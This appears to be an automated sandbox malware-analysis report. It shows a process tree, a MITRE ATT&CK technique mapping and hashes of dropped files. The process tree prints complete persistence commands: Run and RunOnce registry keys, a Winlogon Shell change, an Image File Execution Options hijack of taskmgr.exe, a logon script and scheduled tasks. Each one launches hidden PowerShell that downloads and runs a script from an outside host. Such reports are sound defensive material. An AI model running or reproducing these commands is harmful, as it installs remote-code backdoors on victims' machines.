C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:4576
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
PID:3948 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3200
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
PID:4168 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4912
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5048 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:1396
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5096 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:5728
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:2308 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:3688
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:6028 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:1364
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:2088 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /f3⤵PID:5904
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
PID:5788 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc onlogon /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3424
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
PID:2648 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.pro/load.ps1')\"" /sc minute /mo 5 /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3864
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1yf45eq.ttt.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmp3CDB.tmp.bat
- Size 162B
- SHA256 f23de8e2c4fd5ac85c99f6c7edf58fb29b79839860dae678230f545806d9523b
- MD5 3efd18fc173023c72976aa63add6323f
- SHA1 69add5f642efb28fe9df10be4ebbf47e5ee76473
- SHA512 42facd05cddd72a0ef132c53ccd5d474cdfe5e1fb16c698ba1a4833c2b14b0b2131868247c6325a793e447a2c0c312cb94f2810325e2c9f1db48dc6685d3dedb
- TLSH T1B5C08C52A1C9AA5E2E06686302FE948DE1B2A91A3F40EB80D748842932C184DF4A9645
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\[email protected]
- Size 94KB
- SHA256 03436f9c4b00aa756568afafa5f82c307d6db79350e2253158da6b63ecb74497
- MD5 37f38c657ea9898bcb204fec1fe98531
- SHA1 cddccc55d06ed299332324c411ce0d36a9fb29a4
- SHA512 d80d628aabea36d5eeaef50cdc85e12f35606b64c90cb90c549b4dba9ec27ac33385eacc418dc6a8351484e9e66f2572f30d8438197a6946991b00dc61c66ee1
- SSDEEP 1536:VjoK0CRPQwiTXdn8pwdK1Eby1zwiSgWNZB91pZjIQIMJ2mBJU1vI0m:VjoK0CRPQwiTNn8pw01Eby2rzbIksmBr
- TLSH T18B93F8443BFA4115F3BF9FBCAEF1A1494A75B9636422DA5D0CA411CE0532780CA92F77
- MD5 SHA1 SHA512 SSDEEP TLSH